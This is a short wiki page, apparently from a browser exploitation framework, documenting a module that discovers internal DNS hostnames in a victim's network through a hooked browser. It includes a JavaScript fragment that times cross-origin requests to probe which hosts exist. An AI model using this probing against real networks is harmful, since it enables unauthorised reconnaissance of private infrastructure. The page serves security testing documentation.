Skip to content

Module: DNS Enumeration

Haoxi Tan edited this page Jan 9, 2020 · 2 revisions

Summary

  • Objective: Discover DNS hostnames within the victim's network

  • Authors: jgaliana

  • Browsers: Firefox, Chrome

  • Code

Internal Working

    function do_resolv(url) {
        // Cross Origin Resource Sharing call
        var xhr = new XMLHttpRequest();
        if("withCredentials" in xhr) {
            xhr.open("GET", url, true);
        } else if(typeof XDomainRequest != "undefined") {
            xhr = new XDomainRequest();
            xhr.open("GET",url);
        } else {
            return -1;
        }

        xhr.onreadystatechange= function(e) { if(xhr.readyState==4) { clearTimeout(p); check_next(); } };
        xhr.send();
        var p = setTimeout(function() { xhr.onreadystatechange = function(evt) {}; notify(); }, timeout);
    }

Screenshots

Feedback

Clone this wiki locally